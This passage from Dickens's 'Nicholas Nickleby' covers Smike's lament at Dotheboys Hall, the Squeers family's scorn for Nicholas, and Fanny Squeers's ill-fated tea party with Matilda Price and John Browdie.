+Missionaries, which she had bought on purpose for him.' + +'A sulky state of feeling,' said Squeers, after a terrible pause, +during which he had moistened the palm of his right hand again, +'won't do. Cheerfulness and contentment must be kept up. Mobbs, +come to me!' + +Mobbs moved slowly towards the desk, rubbing his eyes in +anticipation of good cause for doing so; and he soon afterwards +retired by the side-door, with as good cause as a boy need have. + +Mr Squeers then proceeded to open a miscellaneous collection of +letters; some enclosing money, which Mrs Squeers 'took care of;' and +others referring to small articles of apparel, as caps and so forth, +all of which the same lady stated to be too large, or too small, and +calculated for nobody but young Squeers, who would appear indeed to +have had most accommodating limbs, since everything that came into +the school fitted him to a nicety. His head, in particular, must +have been singularly elastic, for hats and caps of all dimensions +were alike to him. + +This business dispatched, a few slovenly lessons were performed, and +Squeers retired to his fireside, leaving Nicholas to take care of +the boys in the school-room, which was very cold, and where a meal of +bread and cheese was served out shortly after dark. + +There was a small stove at that corner of the room which was nearest +to the master's desk, and by it Nicholas sat down, so depressed and +self-degraded by the consciousness of his position, that if death +could have come upon him at that time, he would have been almost +happy to meet it. The cruelty of which he had been an unwilling +witness, the coarse and ruffianly behaviour of Squeers even in his +best moods, the filthy place, the sights and sounds about him, all +contributed to this state of feeling; but when he recollected that, +being there as an assistant, he actually seemed--no matter what +unhappy train of circumstances had brought him to that pass--to be +the aider and abettor of a system which filled him with honest +disgust and indignation, he loathed himself, and felt, for the +moment, as though the mere consciousness of his present situation +must, through all time to come, prevent his raising his head again. + +But, for the present, his resolve was taken, and the resolution he +had formed on the preceding night remained undisturbed. He had +written to his mother and sister, announcing the safe conclusion of +his journey, and saying as little about Dotheboys Hall, and saying +that little as cheerfully, as he possibly could. He hoped that by +remaining where he was, he might do some good, even there; at all +events, others depended too much on his uncle's favour, to admit of +his awakening his wrath just then. + +One reflection disturbed him far more than any selfish +considerations arising out of his own position. This was the +probable destination of his sister Kate. His uncle had deceived +him, and might he not consign her to some miserable place where her +youth and beauty would prove a far greater curse than ugliness and +decrepitude? To a caged man, bound hand and foot, this was a +terrible idea--but no, he thought, his mother was by; there was the +portrait-painter, too--simple enough, but still living in the world, +and of it. He was willing to believe that Ralph Nickleby had +conceived a personal dislike to himself. Having pretty good reason, +by this time, to reciprocate it, he had no great difficulty in +arriving at this conclusion, and tried to persuade himself that the +feeling extended no farther than between them. + +As he was absorbed in these meditations, he all at once encountered +the upturned face of Smike, who was on his knees before the stove, +picking a few stray cinders from the hearth and planting them on the +fire. He had paused to steal a look at Nicholas, and when he saw +that he was observed, shrunk back, as if expecting a blow. + +'You need not fear me,' said Nicholas kindly. 'Are you cold?' + +'N-n-o.' + +'You are shivering.' + +'I am not cold,' replied Smike quickly. 'I am used to it.' + +There was such an obvious fear of giving offence in his manner, and +he was such a timid, broken-spirited creature, that Nicholas could +not help exclaiming, 'Poor fellow!' + +If he had struck the drudge, he would have slunk away without a +word. But, now, he burst into tears. + +'Oh dear, oh dear!' he cried, covering his face with his cracked and +horny hands. 'My heart will break. It will, it will.' + +'Hush!' said Nicholas, laying his hand upon his shoulder. 'Be a +man; you are nearly one by years, God help you.' + +'By years!' cried Smike. 'Oh dear, dear, how many of them! How +many of them since I was a little child, younger than any that are +here now! Where are they all!' + +'Whom do you speak of?' inquired Nicholas, wishing to rouse the poor +half-witted creature to reason. 'Tell me.' + +'My friends,' he replied, 'myself--my--oh! what sufferings mine have +been!' + +'There is always hope,' said Nicholas; he knew not what to say. + +'No,' rejoined the other, 'no; none for me. Do you remember the boy +that died here?' + +'I was not here, you know,' said Nicholas gently; 'but what of him?' + +'Why,' replied the youth, drawing closer to his questioner's side, +'I was with him at night, and when it was all silent he cried no +more for friends he wished to come and sit with him, but began to +see faces round his bed that came from home; he said they smiled, +and talked to him; and he died at last lifting his head to kiss +them. Do you hear?' + +'Yes, yes,' rejoined Nicholas. + +'What faces will smile on me when I die!' cried his companion, +shivering. 'Who will talk to me in those long nights! They cannot +come from home; they would frighten me, if they did, for I don't +know what it is, and shouldn't know them. Pain and fear, pain and +fear for me, alive or dead. No hope, no hope!' + +The bell rang to bed: and the boy, subsiding at the sound into his +usual listless state, crept away as if anxious to avoid notice. It +was with a heavy heart that Nicholas soon afterwards--no, not +retired; there was no retirement there--followed--to his dirty and +crowded dormitory. + + + +CHAPTER 9 + +Of Miss Squeers, Mrs Squeers, Master Squeers, and Mr Squeers; and of +various Matters and Persons connected no less with the Squeerses +than Nicholas Nickleby + + +When Mr Squeers left the schoolroom for the night, he betook +himself, as has been before remarked, to his own fireside, which was +situated--not in the room in which Nicholas had supped on the night +of his arrival, but in a smaller apartment in the rear of the +premises, where his lady wife, his amiable son, and accomplished +daughter, were in the full enjoyment of each other's society; Mrs +Squeers being engaged in the matronly pursuit of stocking-darning; +and the young lady and gentleman being occupied in the adjustment of +some youthful differences, by means of a pugilistic contest across +the table, which, on the approach of their honoured parent, subsided +into a noiseless exchange of kicks beneath it. + +And, in this place, it may be as well to apprise the reader, that +Miss Fanny Squeers was in her three-and-twentieth year. If there be +any one grace or loveliness inseparable from that particular period +of life, Miss Squeers may be presumed to have been possessed of it, +as there is no reason to suppose that she was a solitary exception +to an universal rule. She was not tall like her mother, but short +like her father; from the former she inherited a voice of harsh +quality; from the latter a remarkable expression of the right eye, +something akin to having none at all. + +Miss Squeers had been spending a few days with a neighbouring +friend, and had only just returned to the parental roof. To this +circumstance may be referred, her having heard nothing of Nicholas, +until Mr Squeers himself now made him the subject of conversation. + +'Well, my dear,' said Squeers, drawing up his chair, 'what do you +think of him by this time?' + +'Think of who?' inquired Mrs Squeers; who (as she often remarked) +was no grammarian, thank Heaven. + +'Of the young man--the new teacher--who else could I mean?' + +'Oh! that Knuckleboy,' said Mrs Squeers impatiently. 'I hate him.' + +'What do you hate him for, my dear?' asked Squeers. + +'What's that to you?' retorted Mrs Squeers. 'If I hate him, that's +enough, ain't it?' + +'Quite enough for him, my dear, and a great deal too much I dare +say, if he knew it,' replied Squeers in a pacific tone. 'I only ask +from curiosity, my dear.' + +'Well, then, if you want to know,' rejoined Mrs Squeers, 'I'll tell +you. Because he's a proud, haughty, consequential, turned-up-nosed +peacock.' + +Mrs Squeers, when excited, was accustomed to use strong language, +and, moreover, to make use of a plurality of epithets, some of which +were of a figurative kind, as the word peacock, and furthermore the +allusion to Nicholas's nose, which was not intended to be taken in +its literal sense, but rather to bear a latitude of construction +according to the fancy of the hearers. + +Neither were they meant to bear reference to each other, so much as +to the object on whom they were bestowed, as will be seen in the +present case: a peacock with a turned-up nose being a novelty in +ornithology, and a thing not commonly seen. + +'Hem!' said Squeers, as if in mild deprecation of this outbreak. +'He is cheap, my dear; the young man is very cheap.' + +'Not a bit of it,' retorted Mrs Squeers. + +'Five pound a year,' said Squeers. + +'What of that; it's dear if you don't want him, isn't it?' replied +his wife. + +'But we DO want him,' urged Squeers. + +'I don't see that you want him any more than the dead,' said Mrs +Squeers. 'Don't tell me. You can put on the cards and in the +advertisements, "Education by Mr Wackford Squeers and able +assistants," without having any assistants, can't you? Isn't it +done every day by all the masters about? I've no patience with +you.' + +'Haven't you!' said Squeers, sternly. 'Now I'll tell you what, Mrs +Squeers. In this matter of having a teacher, I'll take my own way, +if you please. A slave driver in the West Indies is allowed a man +under him, to see that his blacks don't run away, or get up a +rebellion; and I'll have a man under me to do the same with OUR +blacks, till such time as little Wackford is able to take charge of +the school.' + +'Am I to take care of the school when I grow up a man, father?' said +Wackford junior, suspending, in the excess of his delight, a vicious +kick which he was administering to his sister. + +'You are, my son,' replied Mr Squeers, in a sentimental voice. + +'Oh my eye, won't I give it to the boys!' exclaimed the interesting +child, grasping his father's cane. 'Oh, father, won't I make 'em +squeak again!' + +It was a proud moment in Mr Squeers's life, when he witnessed that +burst of enthusiasm in his young child's mind, and saw in it a +foreshadowing of his future eminence. He pressed a penny into his +hand, and gave vent to his feelings (as did his exemplary wife +also), in a shout of approving laughter. The infantine appeal to +their common sympathies, at once restored cheerfulness to the +conversation, and harmony to the company. + +'He's a nasty stuck-up monkey, that's what I consider him,' said Mrs +Squeers, reverting to Nicholas. + +'Supposing he is,' said Squeers, 'he is as well stuck up in our +schoolroom as anywhere else, isn't he?--especially as he don't like +it.' + +'Well,' observed Mrs Squeers, 'there's something in that. I hope +it'll bring his pride down, and it shall be no fault of mine if it +don't.' + +Now, a proud usher in a Yorkshire school was such a very +extraordinary and unaccountable thing to hear of,--any usher at all +being a novelty; but a proud one, a being of whose existence the +wildest imagination could never have dreamed--that Miss Squeers, who +seldom troubled herself with scholastic matters, inquired with much +curiosity who this Knuckleboy was, that gave himself such airs. + +'Nickleby,' said Squeers, spelling the name according to some +eccentric system which prevailed in his own mind; 'your mother +always calls things and people by their wrong names.' + +'No matter for that,' said Mrs Squeers; 'I see them with right eyes, +and that's quite enough for me. I watched him when you were laying +on to little Bolder this afternoon. He looked as black as thunder, +all the while, and, one time, started up as if he had more than got +it in his mind to make a rush at you. I saw him, though he thought +I didn't.' + +'Never mind that, father,' said Miss Squeers, as the head of the +family was about to reply. 'Who is the man?' + +'Why, your father has got some nonsense in his head that he's the +son of a poor gentleman that died the other day,' said Mrs Squeers. + +'The son of a gentleman!' + +'Yes; but I don't believe a word of it. If he's a gentleman's son +at all, he's a fondling, that's my opinion.' + +'Mrs Squeers intended to say 'foundling,' but, as she frequently +remarked when she made any such mistake, it would be all the same a +hundred years hence; with which axiom of philosophy, indeed, she was +in the constant habit of consoling the boys when they laboured under +more than ordinary ill-usage. + +'He's nothing of the kind,' said Squeers, in answer to the above +remark, 'for his father was married to his mother years before he +was born, and she is alive now. If he was, it would be no business +of ours, for we make a very good friend by having him here; and if +he likes to learn the boys anything besides minding them, I have no +objection I am sure.' + +'I say again, I hate him worse than poison,' said Mrs Squeers +vehemently. + +'If you dislike him, my dear,' returned Squeers, 'I don't know +anybody who can show dislike better than you, and of course there's +no occasion, with him, to take the trouble to hide it.' + +'I don't intend to, I assure you,' interposed Mrs S. + +'That's right,' said Squeers; 'and if he has a touch of pride about +him, as I think he has, I don't believe there's woman in all England +that can bring anybody's spirit down, as quick as you can, my love.' + +Mrs Squeers chuckled vastly on the receipt of these flattering +compliments, and said, she hoped she had tamed a high spirit or two +in her day. It is but due to her character to say, that in +conjunction with her estimable husband, she had broken many and many +a one. + +Miss Fanny Squeers carefully treasured up this, and much more +conversation on the same subject, until she retired for the night, +when she questioned the hungry servant, minutely, regarding the +outward appearance and demeanour of Nicholas; to which queries the +girl returned such enthusiastic replies, coupled with so many +laudatory remarks touching his beautiful dark eyes, and his sweet +smile, and his straight legs--upon which last-named articles she +laid particular stress; the general run of legs at Dotheboys Hall +being crooked--that Miss Squeers was not long in arriving at the +conclusion that the new usher must be a very remarkable person, or, +as she herself significantly phrased it, 'something quite out of the +common.' And so Miss Squeers made up her mind that she would take a +personal observation of Nicholas the very next day. + +In pursuance of this design, the young lady watched the opportunity +of her mother being engaged, and her father absent, and went +accidentally into the schoolroom to get a pen mended: where, seeing +nobody but Nicholas presiding over the boys, she blushed very +deeply, and exhibited great confusion. + +'I beg your pardon,' faltered Miss Squeers; 'I thought my father +was--or might be--dear me, how very awkward!' + +'Mr Squeers is out,' said Nicholas, by no means overcome by the +apparition, unexpected though it was. + +'Do you know will he be long, sir?' asked Miss Squeers, with bashful +hesitation. + +'He said about an hour,' replied Nicholas--politely of course, but +without any indication of being stricken to the heart by Miss +Squeers's charms. + +'I never knew anything happen so cross,' exclaimed the young lady. +'Thank you! I am very sorry I intruded, I am sure. If I hadn't +thought my father was here, I wouldn't upon any account have--it is +very provoking--must look so very strange,' murmured Miss Squeers, +blushing once more, and glancing, from the pen in her hand, to +Nicholas at his desk, and back again. + +'If that is all you want,' said Nicholas, pointing to the pen, and +smiling, in spite of himself, at the affected embarrassment of the +schoolmaster's daughter, 'perhaps I can supply his place.' + +Miss Squeers glanced at the door, as if dubious of the propriety of +advancing any nearer to an utter stranger; then round the +schoolroom, as though in some measure reassured by the presence of +forty boys; and finally sidled up to Nicholas and delivered the pen +into his hand, with a most winning mixture of reserve and +condescension. + +'Shall it be a hard or a soft nib?' inquired Nicholas, smiling to +prevent himself from laughing outright. + +'He HAS a beautiful smile,' thought Miss Squeers. + +'Which did you say?' asked Nicholas. + +'Dear me, I was thinking of something else for the moment, I +declare,' replied Miss Squeers. 'Oh! as soft as possible, if you +please.' With which words, Miss Squeers sighed. It might be, to +give Nicholas to understand that her heart was soft, and that the +pen was wanted to match. + +Upon these instructions Nicholas made the pen; when he gave it to +Miss Squeers, Miss Squeers dropped it; and when he stooped to pick +it up, Miss Squeers stopped also, and they knocked their heads +together; whereat five-and-twenty little boys laughed aloud: being +positively for the first and only time that half-year. + +'Very awkward of me,' said Nicholas, opening the door for the young +lady's retreat. + +'Not at all, sir,' replied Miss Squeers; 'it was my fault. It was +all my foolish--a--a--good-morning!' + +'Goodbye,' said Nicholas. 'The next I make for you, I hope will be +made less clumsily. Take care! You are biting the nib off now.' + +'Really,' said Miss Squeers; 'so embarrassing that I scarcely know +what I--very sorry to give you so much trouble.' + +'Not the least trouble in the world,' replied Nicholas, closing the +schoolroom door. + +'I never saw such legs in the whole course of my life!' said Miss +Squeers, as she walked away. + +In fact, Miss Squeers was in love with Nicholas Nickleby. + +To account for the rapidity with which this young lady had conceived +a passion for Nicholas, it may be necessary to state, that the +friend from whom she had so recently returned, was a miller's +daughter of only eighteen, who had contracted herself unto the son +of a small corn-factor, resident in the nearest market town. Miss +Squeers and the miller's daughter, being fast friends, had +covenanted together some two years before, according to a custom +prevalent among young ladies, that whoever was first engaged to be +married, should straightway confide the mighty secret to the bosom +of the other, before communicating it to any living soul, and +bespeak her as bridesmaid without loss of time; in fulfilment of +which pledge the miller's daughter, when her engagement was formed, +came out express, at eleven o'clock at night as the corn-factor's son +made an offer of his hand and heart at twenty-five minutes past ten +by the Dutch clock in the kitchen, and rushed into Miss Squeers's +bedroom with the gratifying intelligence. Now, Miss Squeers being +five years older, and out of her teens (which is also a great +matter), had, since, been more than commonly anxious to return the +compliment, and possess her friend with a similar secret; but, +either in consequence of finding it hard to please herself, or +harder still to please anybody else, had never had an opportunity so +to do, inasmuch as she had no such secret to disclose. The little +interview with Nicholas had no sooner passed, as above described, +however, than Miss Squeers, putting on her bonnet, made her way, +with great precipitation, to her friend's house, and, upon a solemn +renewal of divers old vows of secrecy, revealed how that she was-- +not exactly engaged, but going to be--to a gentleman's son--(none of +your corn-factors, but a gentleman's son of high descent)--who had +come down as teacher to Dotheboys Hall, under most mysterious and +remarkable circumstances--indeed, as Miss Squeers more than once +hinted she had good reason to believe, induced, by the fame of her +many charms, to seek her out, and woo and win her. + +'Isn't it an extraordinary thing?' said Miss Squeers, emphasising +the adjective strongly. + +'Most extraordinary,' replied the friend. 'But what has he said to +you?' + +'Don't ask me what he said, my dear,' rejoined Miss Squeers. 'If +you had only seen his looks and smiles! I never was so overcome in +all my life.' + +'Did he look in this way?' inquired the miller's daughter, +counterfeiting, as nearly as she could, a favourite leer of the +corn-factor. + +'Very like that--only more genteel,' replied Miss Squeers. + +'Ah!' said the friend, 'then he means something, depend on it.' + +Miss Squeers, having slight misgivings on the subject, was by no +means ill pleased to be confirmed by a competent authority; and +discovering, on further conversation and comparison of notes, a +great many points of resemblance between the behaviour of Nicholas, +and that of the corn-factor, grew so exceedingly confidential, that +she intrusted her friend with a vast number of things Nicholas had +NOT said, which were all so very complimentary as to be quite +conclusive. Then, she dilated on the fearful hardship of having a +father and mother strenuously opposed to her intended husband; on +which unhappy circumstance she dwelt at great length; for the +friend's father and mother were quite agreeable to her being +married, and the whole courtship was in consequence as flat and +common-place an affair as it was possible to imagine. + +'How I should like to see him!' exclaimed the friend. + +'So you shall, 'Tilda,' replied Miss Squeers. 'I should consider +myself one of the most ungrateful creatures alive, if I denied you. +I think mother's going away for two days to fetch some boys; and +when she does, I'll ask you and John up to tea, and have him to meet +you.' + +This was a charming idea, and having fully discussed it, the friends +parted. + +It so fell out, that Mrs Squeers's journey, to some distance, to +fetch three new boys, and dun the relations of two old ones for the +balance of a small account, was fixed that very afternoon, for the +next day but one; and on the next day but one, Mrs Squeers got up +outside the coach, as it stopped to change at Greta Bridge, taking +with her a small bundle containing something in a bottle, and some +sandwiches, and carrying besides a large white top-coat to wear in +the night-time; with which baggage she went her way. + +Whenever such opportunities as these occurred, it was Squeers's +custom to drive over to the market town, every evening, on pretence +of urgent business, and stop till ten or eleven o'clock at a tavern +he much affected. As the party was not in his way, therefore, but +rather afforded a means of compromise with Miss Squeers, he readily +yielded his full assent thereunto, and willingly communicated to +Nicholas that he was expected to take his tea in the parlour that +evening, at five o'clock. + +To be sure Miss Squeers was in a desperate flutter as the time +approached, and to be sure she was dressed out to the best +advantage: with her hair--it had more than a tinge of red, and she +wore it in a crop--curled in five distinct rows, up to the very top +of her head, and arranged dexterously over the doubtful eye; to say +nothing of the blue sash which floated down her back, or the worked +apron or the long gloves, or the green gauze scarf worn over one +shoulder and under the other; or any of the numerous devices which +were to be as so many arrows to the heart of Nicholas. She had +scarcely completed these arrangements to her entire satisfaction, +when the friend arrived with a whity-brown parcel--flat and three- +cornered--containing sundry small adornments which were to be put on +upstairs, and which the friend put on, talking incessantly. When +Miss Squeers had 'done' the friend's hair, the friend 'did' Miss +Squeers's hair, throwing in some striking improvements in the way of +ringlets down the neck; and then, when they were both touched up to +their entire satisfaction, they went downstairs in full state with +the long gloves on, all ready for company. + +'Where's John, 'Tilda?' said Miss Squeers. + +'Only gone home to clean himself,' replied the friend. 'He will be +here by the time the tea's drawn.' + +'I do so palpitate,' observed Miss Squeers. + +'Ah! I know what it is,' replied the friend. + +'I have not been used to it, you know, 'Tilda,' said Miss Squeers, +applying her hand to the left side of her sash. + +'You'll soon get the better of it, dear,' rejoined the friend. +While they were talking thus, the hungry servant brought in the tea- +things, and, soon afterwards, somebody tapped at the room door. + +'There he is!' cried Miss Squeers. 'Oh 'Tilda!' + +'Hush!' said 'Tilda. 'Hem! Say, come in.' + +'Come in,' cried Miss Squeers faintly. And in walked Nicholas. + +'Good-evening,' said that young gentleman, all unconscious of his +conquest. 'I understood from Mr Squeers that--' + +'Oh yes; it's all right,' interposed Miss Squeers. 'Father don't +tea with us, but you won't mind that, I dare say.' (This was said +archly.) + +Nicholas opened his eyes at this, but he turned the matter off very +coolly--not caring, particularly, about anything just then--and went +through the ceremony of introduction to the miller's daughter with +so much grace, that that young lady was lost in admiration. + +'We are only waiting for one more gentleman,' said Miss Squeers, +taking off the teapot lid, and looking in, to see how the tea was +getting on. + +It was matter of equal moment to Nicholas whether they were waiting +for one gentleman or twenty, so he received the intelligence with +perfect unconcern; and, being out of spirits, and not seeing any +especial reason why he should make himself agreeable, looked out of +the window and sighed involuntarily. + +As luck would have it, Miss Squeers's friend was of a playful turn, +and hearing Nicholas sigh, she took it into her head to rally the +lovers on their lowness of spirits. + +'But if it's caused by my being here,' said the young lady, 'don't +mind me a bit, for I'm quite as bad. You may go on just as you would +if you were alone.' + +''Tilda,' said Miss Squeers, colouring up to the top row of curls, +'I am ashamed of you;' and here the two friends burst into a variety +of giggles, and glanced from time to time, over the tops of their +pocket-handkerchiefs, at Nicholas, who from a state of unmixed +astonishment, gradually fell into one of irrepressible laughter-- +occasioned, partly by the bare notion of his being in love with Miss +Squeers, and partly by the preposterous appearance and behaviour of +the two girls. These two causes of merriment, taken together, +struck him as being so keenly ridiculous, that, despite his +miserable condition, he laughed till he was thoroughly exhausted. + +'Well,' thought Nicholas, 'as I am here, and seem expected, for some +reason or other, to be amiable, it's of no use looking like a goose. +I may as well accommodate myself to the company.' + +We blush to tell it; but his youthful spirits and vivacity getting, +for the time, the better of his sad thoughts, he no sooner formed +this resolution than he saluted Miss Squeers and the friend with +great gallantry, and drawing a chair to the tea-table, began to make +himself more at home than in all probability an usher has ever done +in his employer's house since ushers were first invented. + +The ladies were in the full delight of this altered behaviour on the +part of Mr Nickleby, when the expected swain arrived, with his hair +very damp from recent washing, and a clean shirt, whereof the collar +might have belonged to some giant ancestor, forming, together with +a white waistcoat of similar dimensions, the chief ornament of his +person. + +'Well, John,' said Miss Matilda Price (which, by-the-bye, was the +name of the miller's daughter). + +'Weel,' said John with a grin that even the collar could not +conceal. + +'I beg your pardon,' interposed Miss Squeers, hastening to do the +honours. 'Mr Nickleby--Mr John Browdie.' + +'Servant, sir,' said John, who was something over six feet high, +with a face and body rather above the due proportion than below it. + +'Yours to command, sir,' replied Nicholas, making fearful ravages on +the bread and butter. + +Mr Browdie was not a gentleman of great conversational powers, so he +grinned twice more, and having now bestowed his customary mark of +recognition on every person in company, grinned at nothing in +particular, and helped himself to food. + +'Old wooman awa', bean't she?' said Mr Browdie, with his mouth full. + +Miss Squeers nodded assent. + +Mr Browdie gave a grin of special width, as if he thought that +really was something to laugh at, and went to work at the bread and +butter with increased vigour. It was quite a sight to behold how he +and Nicholas emptied the plate between them. + +'Ye wean't get bread and butther ev'ry neight, I expect, mun,' said +Mr Browdie, after he had sat staring at Nicholas a long time over +the empty plate. + +Nicholas bit his lip, and coloured, but affected not to hear the +remark. + +'Ecod,' said Mr Browdie, laughing boisterously, 'they dean't put too +much intiv'em. Ye'll be nowt but skeen and boans if you stop here +long eneaf. Ho! ho! ho!' + +'You are facetious, sir,' said Nicholas, scornfully. + +'Na; I dean't know,' replied Mr Browdie, 'but t'oother teacher, 'cod +he wur a learn 'un, he wur.' The recollection of the last teacher's +leanness seemed to afford Mr Browdie the most exquisite delight, for +he laughed until he found it necessary to apply his coat-cuffs to +his eyes. + +'I don't know whether your perceptions are quite keen enough, Mr +Browdie, to enable you to understand that your remarks are +offensive,' said Nicholas in a towering passion, 'but if they are, +have the goodness to--' + +'If you say another word, John,' shrieked Miss Price, stopping her +admirer's mouth as he was about to interrupt, 'only half a word, +I'll never forgive you, or speak to you again.' + +'Weel, my lass, I dean't care aboot 'un,' said the corn-factor, +bestowing a hearty kiss on Miss Matilda; 'let 'un gang on, let 'un +gang on.' + +It now became Miss Squeers's turn to intercede with Nicholas, which +she did with many symptoms of alarm and horror; the effect of the +double intercession was, that he and John Browdie shook hands across +the table with much gravity; and such was the imposing nature of the +ceremonial, that Miss Squeers was overcome and shed tears. + +'What's the matter, Fanny?' said Miss Price. + +'Nothing, 'Tilda,' replied Miss Squeers, sobbing. + +'There never was any danger,' said Miss Price, 'was there, Mr +Nickleby?' + +'None at all,' replied Nicholas. 'Absurd.' + +'That's right,' whispered Miss Price, 'say something kind to her, +and she'll soon come round. Here! Shall John and I go into the +little kitchen, and come back presently?' + +'Not on any account,' rejoined Nicholas, quite alarmed at the +proposition. 'What on earth should you do that for?' + +'Well,' said Miss Price, beckoning him aside, and speaking with some +degree of contempt--'you ARE a one to keep company.' + +'What do you mean?' said Nicholas; 'I am not a one to keep company +at all--here at all events. I can't make this out.' + +'No, nor I neither," rejoined Miss Price; 'but men are always +fickle, and always were, and always will be; that I can make out, +very easily.' + +'Fickle!' cried Nicholas; 'what do you suppose? You don't mean to +say that you think--' + +'Oh no, I think nothing at all,' retorted Miss Price, pettishly. +'Look at her, dressed so beautiful and looking so well--really +ALMOST handsome. I am ashamed at you.' + + 'My dear girl, what have I got to do with her dressing beautifully +or looking well?' inquired Nicholas. + +'Come, don't call me a dear girl,' said Miss Price--smiling a little +though, for she was pretty, and a coquette too in her small way, and +Nicholas was good-looking, and she supposed him the property of +somebody else, which were all reasons why she should be gratified to +think she had made an impression on him,--'or Fanny will be saying +it's my fault. Come; we're going to have a game at cards.' +Pronouncing these last words aloud, she tripped away and rejoined +the big Yorkshireman. + +This was wholly unintelligible to Nicholas, who had no other +distinct impression on his mind at the moment, than that Miss +Squeers was an ordinary-looking girl, and her friend Miss Price a +pretty one; but he had not time to enlighten himself by reflection, +for the hearth being by this time swept up, and the candle snuffed, +they sat down to play speculation. + +'There are only four of us, 'Tilda,' said Miss Squeers, looking +slyly at Nicholas; 'so we had better go partners, two against two.' + +'What do you say, Mr Nickleby?' inquired Miss Price. + +'With all the pleasure in life,' replied Nicholas. And so saying, +quite unconscious of his heinous offence, he amalgamated into one +common heap those portions of a Dotheboys Hall card of terms, which +represented his own counters, and those allotted to Miss Price, +respectively. + +'Mr Browdie,' said Miss Squeers hysterically, 'shall we make a bank +against them?' + +The Yorkshireman assented--apparently quite overwhelmed by the new +usher's impudence--and Miss Squeers darted a spiteful look at her +friend, and giggled convulsively. + +The deal fell to Nicholas, and the hand prospered. + +'We intend to win everything,' said he. + +''Tilda HAS won something she didn't expect, I think, haven't you, +dear?' said Miss Squeers, maliciously. + +'Only a dozen and eight, love,' replied Miss Price, affecting to +take the question in a literal sense. + +'How dull you are tonight!' sneered Miss Squeers. + +'No, indeed,' replied Miss Price, 'I am in excellent spirits. I was +thinking YOU seemed out of sorts.' + +'Me!' cried Miss Squeers, biting her lips, and trembling with very +jealousy. 'Oh no!' + +'That's well,' remarked Miss Price. 'Your hair's coming out of +curl, dear.' + +'Never mind me,' tittered Miss Squeers; 'you had better attend to +your partner.' + +'Thank you for reminding her,' said Nicholas. 'So she had.' + +The Yorkshireman flattened his nose, once or twice, with his +clenched fist, as if to keep his hand in, till he had an opportunity +of exercising it upon the features of some other gentleman; and Miss +Squeers tossed her head with such indignation, that the gust of wind +raised by the multitudinous curls in motion, nearly blew the candle +out. + +'I never had such luck, really,' exclaimed coquettish Miss Price, +after another hand or two. 'It's all along of you, Mr Nickleby, I +think. I should like to have you for a partner always.' + +'I wish you had.' + +'You'll have a bad wife, though, if you always win at cards,' said +Miss Price. + +'Not if your wish is gratified,' replied Nicholas. 'I am sure I +shall have a good one in that case.' + +To see how Miss Squeers tossed her head, and the corn-factor +flattened his nose, while this conversation was carrying on! It +would have been worth a small annuity to have beheld that; let alone +Miss Price's evident joy at making them jealous, and Nicholas +Nickleby's happy unconsciousness of making anybody uncomfortable. + +'We have all the talking to ourselves, it seems,' said Nicholas, +looking good-humouredly round the table as he took up the cards for +a fresh deal. + +'You do it so well,' tittered Miss Squeers, 'that it would be a pity +to interrupt, wouldn't it, Mr Browdie? He! he! he!' + +'Nay,' said Nicholas, 'we do it in default of having anybody else to +talk to.' + +'We'll talk to you, you know, if you'll say anything,' said Miss +Price. + +'Thank you, 'Tilda, dear,' retorted Miss Squeers, majestically. + +'Or you can talk to each other, if you don't choose to talk to us,' +said Miss Price, rallying her dear friend. 'John, why don't you say +something?' + +'Say summat?' repeated the Yorkshireman. + +'Ay, and not sit there so silent and glum.' + +'Weel, then!' said the Yorkshireman, striking the table heavily with +his fist, 'what I say's this--Dang my boans and boddy, if I stan' +this ony longer. Do ye gang whoam wi' me, and do yon loight an' +toight young whipster look sharp out for a brokken head, next time +he cums under my hond.' + +'Mercy on us, what's all this?' cried Miss Price, in affected +astonishment. + +'Cum whoam, tell 'e, cum whoam,' replied the Yorkshireman, sternly. +And as he delivered the reply, Miss Squeers burst into a shower of +tears; arising in part from desperate vexation, and in part from an +impotent desire to lacerate somebody's countenance with her fair +finger-nails. + +This state of things had been brought about by divers means and +workings. Miss Squeers had brought it about, by aspiring to the +high state and condition of being matrimonially engaged, without +good grounds for so doing; Miss Price had brought it about, by +indulging in three motives of action: first, a desire to punish her +friend for laying claim to a rivalship in dignity, having no good +title: secondly, the gratification of her own vanity, in receiving +the compliments of a smart young man: and thirdly, a wish to +convince the corn-factor of the great danger he ran, in deferring +the celebration of their expected nuptials; while Nicholas had +brought it about, by half an hour's gaiety and thoughtlessness, and +a very sincere desire to avoid the imputation of inclining at all to +Miss Squeers. So the means employed, and the end produced, were +alike the most natural in the world; for young ladies will look +forward to being married, and will jostle each other in the race to +the altar, and will avail themselves of all opportunities of +displaying their own attractions to the best advantage, down to the +very end of time, as they have done from its beginning. + +'Why, and here's Fanny in tears now!' exclaimed Miss Price, as if in +fresh amazement. 'What can be the matter?' + +'Oh! you don't know, miss, of course you don't know. Pray don't +trouble yourself to inquire,' said Miss Squeers, producing that +change of countenance which children call making a face. + +'Well, I'm sure!' exclaimed Miss Price. + +'And who cares whether you are sure or not, ma'am?' retorted Miss +Squeers, making another face. + +'You are monstrous polite, ma'am,' said Miss Price. + +'I shall not come to you to take lessons in the art, ma'am!' +retorted Miss Squeers. + +'You needn't take the trouble to make yourself plainer than you are, +ma'am, however,' rejoined Miss Price, 'because that's quite +unnecessary.' + +Miss Squeers, in reply, turned very red, and thanked God that she +hadn't got the bold faces of some people. Miss Price, in rejoinder, +congratulated herself upon not being possessed of the envious +feeling of other people; whereupon Miss Squeers made some general +remark touching the danger of associating with low persons; in which +Miss Price entirely coincided: observing that it was very true +indeed, and she had thought so a long time. + +''Tilda,' exclaimed Miss Squeers with dignity, 'I hate you.' + +'Ah! There's no love lost between us, I assure you,' said Miss +Price, tying her bonnet strings with a jerk. 'You'll cry your eyes +out, when I'm gone; you know you will.' + +'I scorn your words, Minx,' said Miss Squeers. + +'You pay me a great compliment when you say so,' answered the +miller's daughter, curtseying very low. 'Wish you a very good- +night, ma'am, and pleasant dreams attend your sleep!' + +With this parting benediction, Miss Price swept from the room, +followed by the huge Yorkshireman, who exchanged with Nicholas, at +parting, that peculiarly expressive scowl with which the cut-and- +thrust counts, in melodramatic performances, inform each other they +will meet again. + +They were no sooner gone, than Miss Squeers fulfilled the prediction +of her quondam friend by giving vent to a most copious burst of +tears, and uttering various dismal lamentations and incoherent +words. Nicholas stood looking on for a few seconds, rather doubtful +what to do, but feeling uncertain whether the fit would end in his +being embraced, or scratched, and considering that either infliction +would be equally agreeable, he walked off very quietly while Miss +Squeers was moaning in her pocket-handkerchief. + +'This is one consequence,' thought Nicholas, when he had groped his +way to the dark sleeping-room, 'of my cursed readiness to adapt +myself to any society in which chance carries me. If I had sat mute +and motionless, as I might have done, this would not have happened.' + +He listened for a few minutes, but all was quiet. + +'I was glad,' he 